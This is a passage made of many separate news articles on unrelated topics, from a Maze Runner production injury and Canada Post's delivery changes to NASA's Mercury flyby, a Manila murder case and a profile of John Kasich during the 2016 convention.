certainly not cancelled. All that matters now is that Dylan recovers. We love you, Dylan!!! — James Dashner (@jamesdashner) March 18, 2016 Just because the injury isn’t life-threatening doesn’t mean it’s not bad news. Surely, O’Brien would rather be back at work rather than getting observed and recovering in a hospital. But we’re just happy to hear that O’Brien is all right and hope he will be back at work soon. The Maze Runner: The Death Cure had previously been set for a February 17, 2017 release, but it’s not clear if that date will have to be delayed after this setback. As soon as we get more details on the extent of the production delay, we’ll let you know.
Canada Post is suspending the conversion of door-to-door delivery to community mailboxes. In a news release issued late Monday, Canada Post spokeswoman Anick Losier said the corporation will work "collaboratively" with the government of Canada to determine the best path forward given the challenges in the postal system. "Efforts are now underway to place the comprehensive program on hold in an orderly fashion," Losier said in the release. "This involves roughly 460,000 addresses across the country which are currently in the process to be converted to community mailboxes." Outgoing Transport Minister Lisa Raitt, whose portfolio includes Canada Post, said the corporation makes decisions independent of government. 'Arm's-length Crown corporation' "They are an arm's-length Crown corporation and take their own operational decisions," Raitt told CBC News. "But they also have a statutory obligation to operate self-sufficiently, and if they are not then I expect they will be held accountable." Canadian Union of Postal Workers national president Mike Palecek said members are "ecstatic" about the news. "We've been fighting this campaign for a year and a half, and we're glad they finally put a halt to this disastrous program," he told CBC News. "It's time to talk about the future of Canada Post, about restoring service to those who have lost it, and about having a public mandate review of Canada Post so we can look at alternatives to these cuts." Palecek said Canada Post should be looking at expanding services, such as having banking and financial services in post offices. He said it appears that the incoming Liberal government is following up on an election campaign promise to put an immediate moratorium on the cuts and to carry out a study. The Liberal platform promised to ensure "high-quality service at a reasonable price to Canadians, no matter where they live." "We succeeded in making this a major election issue and making sure that people understood exactly who it was and is to blame, and that's Stephen Harper and the Conservative government," Palecek said. "I think the Canadian public spoke loudly and clearly last week by changing the government." Palecek said the CUPW will keep up pressure to restore delivery to the roughly one million addresses that have been converted to community mailbox service since the program began 10 months ago. The Liberal Party declined to comment on the Canada Post announcement. Montreal mayor ready to 'reconsider' lawsuit Montreal Mayor Denis Coderre, who once took a jackhammer to the concrete base of a community mailbox to make a point about his opposition to Canada Post's plans, spoke to reporters gathered at city hall on Monday. Coderre said he was prepared to consider withdrawing from the lawsuit he joined to block the implementation of community mailboxes in Canada. The City of Montreal was one of several municipalities to join the Canadian Union of Postal Workers' lawsuit earlier this year. "We'll see what happens, but if everything is suspended I'm even ready to reconsider. But clearly we have to have a truce — because you have to be vigilant with Canada Post, we never know. They say one thing and then the next day, who knows what happens," Coderre said on Monday. "But since we have a new government who was very clear on what would be the outcome of Canada Post, let's sit together. We want to be a part of a solution."
Limbaugh Urges Republicans to Denounce Caitlyn Jenner, Resist Liberal Plot to 'Redefine Normalcy' The radio host weighed-in on Caitlyn Jenner's transition, arguing Republicans should reject Caitlyn Jenner, even if she agrees with them politically. Rush Limbaugh took to the airwaves to weigh-in on the gender transition of Caitlyn Jenner, a self-described conservative, and urged his fellow Republicans to turn their backs on her. “We should not be celebrating this, we should not be lionizing this, we should not be encouraging this,” said Limbaugh on his radio show Wednesday. “These people have a very serious problem, and they need treatment,” he said. “They need help, not encouragement.” Politico reports the radio host said he took offense at the suggestion that conservatives have an opportunity to embrace Jenner, because the implication is that they need to embrace her in order to prove they’re not bigots. According to the report in Politico, Limbaugh also dismissed an unnamed conservative blog that suggested Republicans embrace Jenner as one of their own, to seem more humane, saying that doing so would constitute falling into a liberal trap. He called that an effort to stigmatize conservatives and that conservatives shouldn’t agree to liberals’ terms by accepting Caitlyn Jenner as a woman. According to Mediaite, Limbaugh accused liberals of trying to “redefine normalcy,” in a way that he said threatened traditional values. “Conservatives and Republicans are the new weirdos, the new kooks and that is part of the political objective here in normalizing all of this really marginal behavior,” said Limbaugh. Listen to Limbaugh’s rant against Jenner by clicking on the link below.
Jammu: PDP patron Mufti Mohammad Sayeed will be the Jammu and Kashmir chief minister after his party reached an agreement for forming a government with the BJP, top party sources said Saturday. Sources close to PDP patron Mufti Muhammad Sayeed, who returned to winter capital Jammu on Friday after spending a week in Mumbai, told IANS that an agreement had been reached on all contentious issues between the PDP and the BJP. "Yes, main agreement has been reached on the draft of the CMP (common minimum programme) on contentious issues like article 370, armed forces special powers act (AFSPA) and the plight of West Pakistan refugees. "It has been agreed that without any written reference to it, both the parties would respect the wishes of the people of the state in consonance with the constitution of the country with regard to article 370," a top party source told IANS. As per the agreement, Mufti Mohammad Sayeed will be the chief minister for the full six years. The PDP insider who is engaged with the BJP in the dialogue process on government formation on behalf of his party also said instead of accepting the demand that the AFSPA should be revoked from the entire state within one year, it has now been agreed by the two parties that a committee would be formed which would recommend gradual, but timely, revocation of the act from areas in the state. Sources in the BJP said: "The PDP has agreed to the BJP demand that the CMP should accept that the problems faced by West Pakistan refugees should not be politicized, but treated as a humanitarian issue that needs to be addressed on humanitarian grounds." When asked to comment on media reports that government formation in the state was imminent because the PDP and the BJP had agreed on the draft of the common minimum programme (CMP) for governance, party chief spokesman Naeem Akhtar told IANS in winter capital Jammu: "I am meeting Mufti Sahib today and if anything has been worked out, we will hold a briefing about it during the day." Unlike his steady dismissal of any agreement with the BJP during the last nearly two months when he maintained the "structured dialogue between the BJP and the PDP had not even started", Akhtar sounded less circumspect Saturday about his lack of knowledge regarding an agreement on the common minimum programme with the BJP. West Pakistan refugees are those over 25,000 families who came to the state after the India-Pakistan wars of 1947, 1965 and 1971. Since these people were not citizens of the erstwhile state of Jammu and Kashmir as it existed before accession to India in 1947, they cannot vote in the state assembly elections, nor buy property in the state. These refugees cannot apply for government jobs since all the state government jobs in Jammu and Kashmir are reserved for permanent residents of the state. As an anomaly, the West Pakistan refugees can vote in the parliament elections, but not in the state assembly elections since the state has a constitution of its own in addition to the country's constitution and both apply concomitantly to the state. With regard to the PDP demand on return of NHPC owned hydro-electric power projects in the state to state ownership, the sources said it had been agreed that the two would work together for central assistance for state ownership of these projects. "The nuts and bolts job has been completed. All that now remains is an announcement on the agreement between the two which could be made within the next two to three days," said sources. The sources added that Mufti Mohammaad Sayeed would formally call on Prime Minister Narendra Modi after the PDP and the BJP announce having formalized the draft of the CMP. IANS Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
Image copyright AFP/Greenpeace Image caption Daldykan river: If there was a chemical discharge the source of it is not clear Russian environmental inspectors are trying to establish why a river near the Norilsk Nickel industrial complex in the Arctic has turned blood-red. Dramatic pictures of the discoloured Daldykan river have been posted widely on Russian media. The government daily Rossiiskaya Gazeta says a leaking slurry pipeline carrying waste copper-nickel concentrate could be to blame. Norilsk Nickel is the world's largest nickel and palladium producer. Its vast furnaces were built on the Taimyr Peninsula, in the Krasnoyarsk region of Siberia, in the Soviet era. The mining group has a production facility called Nadezhda by the Daldykan river. But company officials said they were not aware of any river pollution from the plant. Billionaire oligarch Vladimir Potanin is president of Norilsk Nickel.
The Modernists welcome all time-daring voyagers to an unprecedented gathering in the year 2019 to Modern Gala: Time Travel, an otherworldly soirée where the past will meet its future in a mind-bending journey to the fourth dimension inside the walls of the National WWI Museum and Memorial. Meet fellow travelers and explore the ripples of time through entertainment, dazzling beverages, hors d'oeuvres, a memorable time travelers toast, dancing and much more in the spirit of centuries past and historical camaraderie. Indulge in the fantasy of time travel and get inspired by the elegant fashions of an era you wish to visit. Prepare yourself for the most stimulating event of the summer, in support of the Museum and Memorial. Travelers from all eras welcome! Tickets are $50 for members, $75 for non-members. Become a member today. Modern Gala: Time Travel is supported by State Street
LISTEN: A Cuban Protest Singer On The State Of U.S.-Cuba Relations Enlarge this image toggle caption Eyder Peralta /NPR Eyder Peralta /NPR Over the past couple of weeks — on All Things Considered, over at Parallels, on Tumblr and on this blog — we've been reporting on Cuba. We've touched on the Internet, on baseball, on Havana's decay and on the revolution's fraying egalitarian promise. Today, our reporting comes to an end with a final piece on All Things Considered. Host Robert Siegel spoke to Carlos Varela, who is perhaps the most interesting political critic on the island in the past few decades. You might have expected him to be a dissident. He's not. Instead, he's singer-songwriter who is part of a musical movement in Cuba known as la Nueva Trova. Folk singers such as Silvio Rodriguez are the torchbearers for that movement. But unlike Rodriguez, who wrote romantically and passionately about the socialist revolution, Varela's music came of age after the fall of the Soviet Union, at a time of serious economic crisis in Cuba. It means that Varela has — with metaphors — been intensely critical of the Cuban regime. Somehow, he's managed to thrive both as a voice for Cubans on the island and as a voice for Cubans in exile in Miami. Varela says this is an important moment for Cuba. "Cubans are living in very interesting times," Varela said about the present. It's a time of great change and lots of hope, and that's a good thing for a country full of dreamers, he said. We'll post much more of Varela's conversation with Robert at the top of this post later today. But we'll leave with a song that Varela sang for us at the bar of the Havana's Hotel Nacional, a landmark just full of reminders of the Cuba from the past — the one that glimmered with Hollywood stars, the place where members of the mob could drink with abandon despite prohibition back at home. Varela said the song, "Walls and Doors," captures the sentiment of the country at the moment. It begins: "Ever since the world's existed / There's one thing that is certain / There are those who build walls / And those who open doors." The refrain goes: "That's how it's always been / And I know you know it There can be freedom only when nobody owns it" Jackson Brown recorded an English version of the song. His translation is here. With that, here's the performance, which was recorded and produced by NPR's Theo Balcomb:
St Pete paved the way for a big change Thursday to get big money out of local politics. City Council leaders made the critical decision to ban super pacs and limit campaign contributions to $5,0000. The decision could create a ripple effect around the nation! Winnie Foster has been fighting big campaign contributions for longer than most of us have been alive. “Since I was teenager. I’m 90 now,” she said with a smile. That's 77 years of rallies, sign waiving and protests. “The local governments are now on the front line for the protection and practice of democracy,” she added. More than 100 St Pete residents flooded city council chambers Thursday dressed in red and demanding change. Koiffe Hunt was one of those residents. “The average american feels like they don’t have a voice in their own government. That really bothers me” The ordinance that passed on Thursday is monumental. It bans highly controversial super PACs and limits campaign contributions to $5,000. Here’s why that’s so important to you: Let’s say a big construction company gives $100,000 to a mayoral candidate and months later, they bid on a big city project and get it. “People need to have faith that their leaders are acting for them and representing them their voters as opposed to their donors and lobbyists who are funding these campaigns at increasingly alarming rates," explained Brian Remler. The Rick Kriseman, Rick Baker for mayor face off is a huge example. The candidates have raised more than $2 million combined! But some St Pete leaders worry this decision will land them in a courtroom. The change comes with a huge risk. St Pete taxpayers could be legally liable for up to 2 million dollars. Foster says it’ll be money well spent. Her next focus is on state leaders. After all, she still has another decade of fighting to go. “I’m determined to live to be 100 because there is still so much work to be done,” she said.
Jack White: ‘Absolutely no chance’ of White Stripes reunion By Live4ever - Posted on 22 Mar 2012 at 4:58am Jack White has said there is ‘absolutely no chance’ of The White Stripes reforming in the future after the duo decided to call it a day last year. It was February 2011 when Jack and Meg told the world of their split after a period of inactivity following he release of the ‘Icky Thump‘ album four years earlier, outlining ‘a myriad of reasons’ for the move. And Jack White has now told NME there will be no going back on the decision, as he cannot see any reason why they might want to return. “Absolutely no chance,” he said. “I couldn’t see any reason to ever do that. I’m not the kind of person that would retire from baseball and come out of retirement the next year. I mean, if we went to all the trouble of telling people we’re done, we meant it, you know?” “If we were forced to change our mind about that, I can only imagine being the reason, like if for some reason we went bankrupt or something or needed the cash, which would be a really sad thing, I would probably be issuing an apology along with the announcement of the show dates!” A new White Stripes single is set for release in time for Record Store Day. The record will feature early tracks ‘Handsprings‘ and ‘Red Death at 6:14‘.
MANILA, Philippines - Three policemen and two others were arrested by the National Bureau of Investigation (NBI) over the weekend in connection with the woman who was stuffed in a plastic drum found floating in the Pasig River. Inspector Eljie Jacobe and Police Officer 1 Mark Jay de los Santos were caught by NBI agents while they were about to withdraw P50,000 from real estate agent Adora Lazatin’s account at an automated teller machine in five days after she was reported missing. Jacobe is with the National Capital Region Police Office’s supplies division and was formerly assigned to the Manila Police District (MPD). He was still in uniform when he was arrested at a bank in Bicutan, Parañaque at around 3:30 a.m. on Saturday. At least P200,000 had been withdrawn from Lazatin’s account, according to the NBI. The drum containing Lazatin’s body was found floating near the Escolta ferry station by two Metropolitan Manila Development Authority employees on Friday. Lazatin’s husband, Osmundo, cut short his stint as a seaman to identify the victim’s body at the MPD. The 56-year-old victim’s head, hands and feet were wrapped with packaging tape and a length of nylon cord was coiled around her neck, according to Senior Police Officer 2 Jonathan Bautista, a homicide investigator at the MPD. Police Officer 1 Edmon Gonzales, Bureau of Corrections officer Domingo Balanquit and Empire Salas were arrested in follow-up operations. Lazatin’s debit cards and passbooks were seized from the suspects as well as mobile phones, police and BuCor identification cards, pistols and knives. The NBI is hunting down three other suspects in connection with Lazatin’s murder. Beware of buyer According to a source, Lazatin advertised to sell her property in Las Piñas and told her son Ryan that she was about to meet a prospective buyer – who turned out to be De los Santos – at a mall in the city on the morning of April 4. Ryan reported to the Las Piñas police that his mother was missing when she failed to answer his text messages in the afternoon of the same day and his inquiries with a friend of hers turned out to be futile. The NBI said initial investigation showed De los Santos reportedly lured her into a maroon Suzuki Swift. He and Gonzales later bound Lazatin’s hands and blindfolded and gagged her as Jacobe and another accomplice served as lookouts. The suspects drove her to a safehouse along C-6 Road in Taguig, where they took her debit card and forced her to reveal its personal identification number. Money trail Ryan decided to check his mother’s bank account online, knowing that his mother had P500,000 in the account – her share of the proceeds from properties she had recently sold. He found that P60,000 had been withdrawn from an ATM in Caloocan City. Lazatin’s family decided to report the incident to the NBI. The NBI, coordinating with the bank, found that a man wearing a baseball cap and ski mask had withdrawn P50,000 from the bank’s branches in Caloocan, Abad Santos-Antipolo and Manila between midnight and 4 a.m. from April 5 to 9. The NBI said the man – who turned out to be De los Santos – wore a dark jacket, basketball shorts and rubber slippers. Stakeout The NBI deployed more than 100 men to conduct stakeouts on dozens of ATMs across four cities for five days until they chanced upon a black Ford Fiesta (ABJ-7294) parked in front of an ATM in Bicutan, Taguig City at around 3 a.m. De los Santos came out of the car and was approaching the ATM when NBI agents, led by Special Investigator Joselito Guillen, accosted him. De los Santos tried to escape but the agents subdued him. Jacobe tried to speed away in the Fiesta but agents blocked his path and arrested him. Hatching a plan In his confession, Jacobe said he and his group met in Taguig on April 2 and hatched a plan to kidnap Lazatin and demand ransom money from her family, who reside in Molino, Cavite. After taking her to a safehouse in Taguig, where they forced her to hand over her debit card, Jacobe and the others took Lazatin to another safehouse, this one in Caloocan City. They stripped her of her clothes, leaving only her underwear, and strangled her, fearing that she would be able to identify them, Jacobe said. The five suspects were charged with kidnapping with homicide and violation of the access devices regulation law before the Las Piñas prosecutor’s office yesterday morning.
DC Extended Universe fans are taking their campaign for a Zack Snyder cut of Justice League to the next level. A new website dedicated to the pursuit of a Zack Snyder cut of Justice League, ForSnyderCut.org, is set to launch in just over five days. Visiting the website now will bring up a countdown clock and message stating that the website is still under construction. The website is an escalation of a campaign that started with a Change.org petition begun and supported by fans who were disappointed with the edit made to Justice League by director Joss Whedon and the new score provided by Danny Elfman: “The DC Extended Universe is based on DC comics, a brand of comic books that writes superheroes, villains and other characters from different backgrounds with different backstories and motivations, that are relatable to the reader with themes that mirror the real world, for example, Man of Steel was the first entry in the the DC Extended Universe, the film revolved around an alien trying to find his place in the world, while dealing with his past, alien origins, superhuman abilities and a plot that revolved around first contact with an alien civilization, while the sequel, Batman v Superman: Dawn of Justice revolved around the existence of an alien and his purpose in the world, how humanity reacted to him, how they were divided and ultimately united, because ofnhim, the different philosophies, ideologies and motivations of a man coming to gripes with his past, the reality of aliens living amongst humans and the realization that such alien could be dangerous, a man with a childhood trauma, who wants to get rid of abusive figures and who realizes that power is not innocent and the perception of humans towards the alien in question. Justice League is the culmination of the alien's story and the beginning of a new chapter in the DC Extended Universe. Fans have been waiting for years, while others have waited decades for the film to finally arrive on the silver screen. The 2hr runtime is disrespectful towards Zack Snyder's vision and towards the fans who have waited for more than a year to see the alien's story come to an end.” The petition was recently hacked, giving fans a false sense of victory, but it's apparent that they have not be dissuaded from their quest. Justice League currently has a 61.21 ComicBook.com Composite Score and a 3.7 out of 5 ComicBook.com User Rating. Let us know what you thought of Justice League by giving the movie your own ComicBook.com User Rating below. The film will be followed in the DC Extended Universe by Aquaman on December 21, 2018, Wonder Woman 2 on November 1, 2019, Shazam on April 5, 2019, Cyborg in 2020, and Green Lantern Corps in 2020.
— If you’re a stingy, Scroogey type at Christmas, the Admiral Theatre has an incentive for you to change your ways. Yes, that Admiral Theatre. As in the one with women without many clothes, or any clothes. Through Dec. 21, the Admiral is offering a free lap dance to anyone who donates an unused, unwrapped toy. But you won’t get extra attention if you clear off the shelves at the toy store and come to the Admiral with a big sack on your back. The limit is one lap dance per customer. Further reading of the fine print indicates that “compensation for toy donations is left to the discretion of management.” According to the CBS Chicago “research” department, the club started the promotion in 2010. In the first year, they collected five car loads of toys. By the way, the Admiral, at 3940 W. Lawrence Ave., is open 364 days a year. It is only closed on Christmas Eve.
Valve's official Steam Machine prototype isn't cheap, but it won't be the only Steam-powered video-game console available come 2014. This morning, iBuyPower revealed a prototype of its own upcoming Steam Machine, which will go on sale for just $499 next year. For the price of an Xbox One, the computer will offer a multicore AMD CPU and a discrete AMD Radeon R9 270 graphics card — that's a $180 GPU all by itself — and come with Valve's Steam Controller as part of the package deal. Update: Over a month after this story was published, iBuyPower tells us that it goofed. The current prototype has a far less powerful R7 250 graphics card, and is aiming to have a still less-powerful but Mantle-capable R7 260X GPU. The company says the box is bigger than a PlayStation 4 but smaller than Microsoft's Xbox One, and comes standard with Wi-Fi, Bluetooth, and a 500GB hard drive. The glossy white case also has a fully customizable light bar running down the center channel, and an integrated power supply. You won't have to find room for a power brick on your home entertainment center shelves. For the price, you won't be getting Windows, only Valve's Linux-based Steam OS, which could be an issue starting out. While Valve has quite a few games running on Linux already, and says that major game developers will be building triple-A game titles specifically for Steam OS in 2014, it's not quite the same as having the entire Windows catalog as a fallback. Still, iBuyPower says that existing Steam for Linux games should run quite well, at full 1080p resolution and 60 frames per second. We're looking forward to see just how much power iBuyPower can provide for under $500.
Mercury Rising by Staff Writers MOffett Field CA (SPX) Nov 05, 2009 A NASA spacecraft's third and final flyby of Mercury gives scientists, for the first time, an almost complete view of the planet's surface and provides new scientific findings about this relatively unknown world. The Mercury Surface, Space Environment, Geochemistry and Ranging spacecraft, known as MESSENGER, flew by Mercury on Sept. 29. The probe completed a critical gravity assist to remain on course to enter into orbit around Mercury in 2011. Despite shutting down temporarily because of a power system switchover during a solar eclipse, the spacecraft's cameras and instruments collected high-resolution and color images unveiling another 6 percent of the planet's surface never before seen at close range. Approximately 98 percent of Mercury's surface now has been imaged by NASA spacecraft. After MESSENGER goes into orbit around Mercury, it will see the polar regions, which are the only unobserved areas of the planet. "Although the area viewed for the first time by spacecraft was less than 350 miles across at the equator, the new images reminded us that Mercury continues to hold surprises," said Sean Solomon, principal investigator for the mission and director of the Department of Terrestrial Magnetism at the Carnegie Institution of Washington. Many new features were revealed during the third flyby, including a region with a bright area surrounding an irregular depression, suspected to be volcanic in origin. Other images revealed a double-ring impact basin approximately 180 miles across. The basin is similar to a feature scientists call the Raditladi basin, which was viewed during the probe's first flyby of Mercury in January 2008. "This double-ring basin, seen in detail for the first time, is remarkably well preserved," said Brett Denevi, a member of the probe's imaging team and a postdoctoral researcher at Arizona State University in Tempe. "One similarity to Raditladi is its age, which has been estimated to be approximately one billion years old. Such an age is quite young for an impact basin, because most basins are about four times older. The inner floor of this basin is even younger than the basin itself and differs in color from its surroundings. We may have found the youngest volcanic material on Mercury." One of the spacecraft's instruments conducted its most extensive observations to date of Mercury's exosphere, or thin atmosphere, during this encounter. The flyby allowed for the first detailed scans over Mercury's north and south poles. The probe also has begun to reveal how Mercury's atmosphere varies with its distance from the sun. "A striking illustration of what we call 'seasonal' effects in Mercury's exosphere is that the neutral sodium tail, so prominent in the first two flybys, is 10 to 20 times less intense in emission and significantly reduced in extent," says participating scientist Ron Vervack, of the Johns Hopkins University Applied Physics Laboratory, or APL, in Laurel, Md. "This difference is related to expected variations in solar radiation pressure as Mercury moves in its orbit and demonstrates why Mercury's exosphere is one of the most dynamic in the solar system." The observations also show that calcium and magnesium exhibit different seasonal changes than sodium. Studying the seasonal changes in all exospheric constituents during the mission orbital phase will provide key information on the relative importance of the processes that generate, sustain, and modify Mercury's atmosphere. The third flyby also revealed new information on the abundances of iron and titanium in Mercury's surface materials. Earlier Earth and spacecraft-based observations showed that Mercury's surface has a very low concentration of iron in silicate minerals, a result that led to the view that the planet's crust is generally low in iron. "Now we know Mercury's surface has an average iron and titanium abundance that is higher than most of us expected, similar to some lunar mare basalts," says David Lawrence, an APL participating mission scientist. The spacecraft has completed nearly three-quarters of its 4.9-billion-mile journey to enter orbit around Mercury. The full trip will include more than 15 trips around the sun. In addition to flying by Mercury, the spacecraft flew past Earth in August 2005 and Venus in October 2006 and June 2007. Studying Mercury could yield important information about how rocky, terrestrial planets form and evolve. Such information can help astronomers determine how and where potentially habitable planets are most likely to form beyond the solar system.
On the eve of a loaded Gay Pride Parade in Jerusalem, some 300 religious Zionist rabbis signed a letter expressing support for a yeshiva head who called LGBT people “deviants” devoid of “the normalcy of life.” “There is no room for legitimizing phenomena and behaviors that seek to glorify a way of life that contravenes human morality and the way of the Torah,” the signatories, including top educators and city rabbis, wrote in the letter, published Wednesday. “Our love for every Jew, and the obligation to treat every human being with respect, cannot be a pretext for distorting the halachic truth or ‘cutting corners’ when it comes to forbidden acts.” They were responding to an outcry generated by Rabbi Yigal Levinstein, a co-head of a prestigious pre-army religious academy in the West Bank, who was filmed last week saying in a speech that “under the framework of pluralism, soldiers and officers are taught to refer to [LGBT people] as ‘proud,’ but I don’t dare call them that… ‘Deviants’ is what I call them.” Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up He added, “There is a crazy movement of people who have simply lost the normalcy of life. This group is making the state crazy and is infiltrating the army with all its might. Nobody dares to open his mouth or make a sound against them. In the army training camp they gave lectures on deviancy.” In their letter, the rabbis — among whom were Aryeh Stern and Shmuel Eliyahu, the chief rabbis of Jerusalem and Safed, respectively; and Rabbi Shlomo Aviner, the influential head of the Ateret Yerushalayim yeshiva – said that they wished to “voice support for every rabbi who expresses his halachic and moral opinion… without pandering or apology.” They said that they represented a “silent majority, both religious and secular,” in Israel that is opposed to the LGBT lifestyle and activism. Education Minister Naftali Bennett, who heads the religious-nationalist Jewish Home party, was one of the Orthodox public figures who condemned Levinstein’s remarks. “This is not the way of religious Zionism,” he said this week. “Jewish law was meant to establish what is forbidden and what is permitted. It was not meant to be a divisive tool to mark people and communities. You cannot call an entire community derogatory names and hide behind [Jewish law].” One of the organizers of the letter came out against Bennett Wednesday, and accused him of betraying his constituency, telling the Ynet news site, “We find it hard to grasp how a political person, talented as he may be, takes it upon himself to repudiate the rabbis who for years shaped religious Zionism.” Rabbi Benny Lau, a prominent religious-Zionist rabbi whose cousin David Lau is the chief rabbi of Israel, denounced Levinstein earlier this week. “Who gave you permission to insult them? In the name of which Torah do you act like this?” he demanded in a video uploaded to Facebook. Lau spoke of an incident two years ago when Levinstein addressed students at Jerusalem’s Himmelfarb boys’ high school and mockingly compared gay people to animals. Lau recounted that “there was a student there at the back who ran out of the hall at the moment that you told your terrible joke. He intended to kill himself. They prevented him. One year ago… the same student said that he heard you making fun of him and he wanted to kill himself again.” The Israeli Gay, Lesbian, Bisexual and Transgender Association, known commonly as the Aguda, filed a police complaint against Levinstein for incitement. The rabbis’ letter is sure to raise hackles among liberal Israelis, ahead of what promises to be an emotional Gay Pride Parade in Jerusalem on Thursday afternoon. It will be the first in the capital since last year’s march, during which Yishai Schlissel, an ultra-Orthodox man, went on a stabbing spree, killing 16-year-old Shira Banki and wounding several others. Last week saw an outcry at the cancellation of Beersheba’s first-ever pride parade over threats of violence. Aviner, one of the letter’s signatories, and Rabbi Tzvi Tau, who heads the elite Har Hamor yeshiva in Jerusalem, on Wednesday came out against the parade, according to a report in the Orthodox news site Srugim. “‘Thou shalt not lie with mankind, as with womankind: It is abomination,'” they said in a statement, quoting a verse in Leviticus that is often cited as evidence of God’s abhorrence of homosexuals. “We condemn the existence of an abomination parade in our holy city Jerusalem,” Aviner and Tau went on to say, adding that the parade was a “terrible desecration of God’s name.” Times of Israel staff contributed to this report.
San Francisco has filed a scathing legal critique with California regulators about the concept of renting vehicles for drivers with ride-hailing companies like Uber and Lyft, which was made public this week. In the critique, The City argues safety measures and more abundant insurance should be required of drivers who drive commercial vehicles — and not personal ones — for ride-hailing companies. The critique was released as Lyft also this week announced the expansion of its rental service Express Drive in partnership with General Motors, which will allow thousands of Lyft drivers to rent cars at a San Francisco “hub” for “as little as $0” to drive and pick up passengers starting in early August, according to Lyft. More than 8,000 people in San Francisco alone have applied to drive with Lyft this year but were unable to because they lacked qualifying vehicles, according to Lyft. “Now there’s an option for them,” said Mihir Gandhi, general manager of Lyft’s Northern California operations. SFMTA’s sharp critique of commercial vehicle use for Lyft and Uber was made in a recent filing to the California Public Utilities Commission, which regulates the ride-hail companies, which are legally known as transportation network companies (or TNCs) in California. SFMTA wrote that when Lyft and Uber first launched in California, “They argued that their ‘driver partners’ simply ‘shared’ their vehicles … while taxicab and limousine drivers were full time ‘professionals.’” The CPUC is now considering “Phase III” of its new regulations for Lyft, Uber and other transportation network companies in California, mainly focused on the legality of commercial vehicles for ride-hail usage. These rental and lease programs “illustrate the erosion of any distinction that may have existed” between ride-hail companies and for-hire drivers, like taxis or limousines, the SFMTA wrote. Ride-hail drivers have publicly said the depreciation of their personal cars while on the road can be problematic. “Gough Street isn’t exactly easy on transmissions,” Gandhi said, and car rentals also ensure safer, cleaner vehicles. Hertz also has a rental car partnership with Lyft that launched in San Francisco about a month ago. Express Drive is available in Baltimore, Boston, Chicago and Washington D.C, according to Lyft. The foray into San Francisco will be its first California launch. Click here or scroll down to comment
By Roger D. White; Bruce W. Goodman; Mary A. Svoboda Mayo Clinic Proceedings A 54-year-old man with no known cardiac disease collapsed outdoors in a small rural community. The cardiac arrest was witnessed, and immediate cardiopulmonary resuscitation was begun by a bystander and a trained first responder who was nearby. The patient was moved into a building across the street for continued resuscitation. First responders arrived with an automated external defibrillator, and ventricular fibrillation was documented. First responders delivered 6 defibrillation shocks, 4 of which transiently restored an organized electrocardiographic rhythm but with no pulse at any time. Additional emergency medical services personnel from nearby communities and an advanced life support (ALS) flight crew arrived. The flight crew initiated ALS care. The trachea was intubated, ventilation controlled, and end-tidal carbon dioxide tension continuously monitored. Antiarrhythmic and inotropic drugs were administered intravenously. An additional 6 shocks were delivered using the ALS defibrillator. End-tidal carbon dioxide measurements confirmed good pulmonary blood flow with chest compressions, and resuscitation was continued until a stable cardiac rhythm was restored after 96 minutes of pulselessness. The patient was transported by helicopter to the hospital. He was in cardiogenic shock but maintained a spontaneous circulation. Coronary angiography confirmed a left anterior descending coronary artery thrombotic occlusion that was treated successfully. After hospital admission, the patient required circulatory and ventilatory support and hemodialysis for acute renal failure. He experienced a complete neurologic recovery to his pre-cardlac arrest state. To our knowledge, this is the longest duration of pulselessness in an outof-hospital arrest with a good outcome. Good pulmonary blood flow was documented throughout by end-tidal carbon dioxide measurements.
Ohio Gov. John Kasich arrives for a town hall meeting at the Hopkinton Town Hall in New Hampshire in November, campaigning for the Republican presidential nomination. (Charles Ommanney/The Washington Post) Gov. John Kasich finds himself in a peculiar situation these days. He’s responsible for helping to safeguard a Republican convention he will not speak at, a nominee he will not support and an arena he probably will not step foot in. “It is odd, isn’t it?” Kasich says. “It’s going to be strange.” Even stranger: When Kasich arrives Sunday in Cleveland for the Republican National Convention, he will be the one leading Hillary Clinton in a half-dozen battleground states — not presumptive nominee Donald Trump — according to a recent Ballotpedia poll. “I told somebody I should’ve quit earlier — I might have won!” he says, laughing, during a relaxed interview at the governor’s mansion in Columbus. Things aren’t going so bad for a guy who dropped out of the presidential race in May, having won just one state — his own — and who some Republicans see as a bit too self-righteous and self- focused. Kasich left the race with a high favorable rating among voters and has come to symbolize the anti-Trump faction of the party. With the convention approaching, the media is clamoring at his door, and his team can see the 2020 presidential election clearly on the horizon. [Kasich: My Republican Party doesn’t like ideas] John Kasich was never going to be president. The Fix's Chris Cillizza explains why. (Peter Stevenson/The Washington Post) Led by political consultant John Weaver, Kasich’s advisers are very aware that he is having a moment in the spotlight, and they are not wasting a minute. Soon, he’ll head to New York to pitch to publishers a book proposal about the 2016 campaign and his message of “Two Paths,” contrasting Trump’s doomsday talk with his positive approach. The plan is to roll out the book in town halls across the country. His political 501(c)(4) is also being retooled to allow him to campaign for Republicans other than Trump and to promote the issues and values that are important to him. “I’m not shutting my political operation down,” the governor and former congressman says. “I’m not closing any doors. But my focus right now is going to be on the House, the Senate, and the down-ticket here in my state.” As for next week in Cleveland, he will be quite conspicuous — zipping to events and doing ample media in his parallel political universe. As the state’s chief executive, he will receive high-level security briefings at the command center twice daily. On Tuesday, Kasich will throw his own high-profile party at the Rock and Roll Hall of Fame for his supporters. But what you’ll never see is Kasich in the same picture frame with Donald Trump. In addition to publicly refusing to support Trump, Weaver says that Kasich rebuffed multiple overtures in May from Team Trump to join the ticket. “He was not interested,” says Weaver. A senior official with the Trump campaign on Sunday denied that any overtures were made to Kasich about being Trump’s running mate. “We made overtures to bring him on board and get him to keep his pledge” to support the nominee, said the official. Still, Kasich has figured out how to remain relevant, visible and loyal to his party, while separating himself from a man he believes is dangerous for America. He feels no obligation to help Trump win Ohio, a crucial battleground state. “It’s not on me,” says the governor, who enjoys a 58 percent job approval rating. “If he was to lose Ohio and lose the election and people would blame me, that’s just life.” Nonetheless, Kasich is concerned that Trump will take down the Ohio Republican Party with him, so he plans to campaign aggressively for others, including Sen. Rob Portman, who is in a tough race with Democrat Ted Strickland, a former governor. He will also campaign for Sen. John McCain (R-Ariz.) and Sen. Kelly Ayotte (R-N.H.), he says. Kasich, 64, says repeatedly during an hour-long interview that he is happy, at peace, and a better man for having gone through the grueling presidential campaign. The Republican National Convention is approaching fast – but these big-name Republicans won't be attending. (Peter Stevenson/The Washington Post) [Kasich leaves the presidential race] He tries not to overtly criticize Trump, but it’s hard for him to hide his disapproval. He will 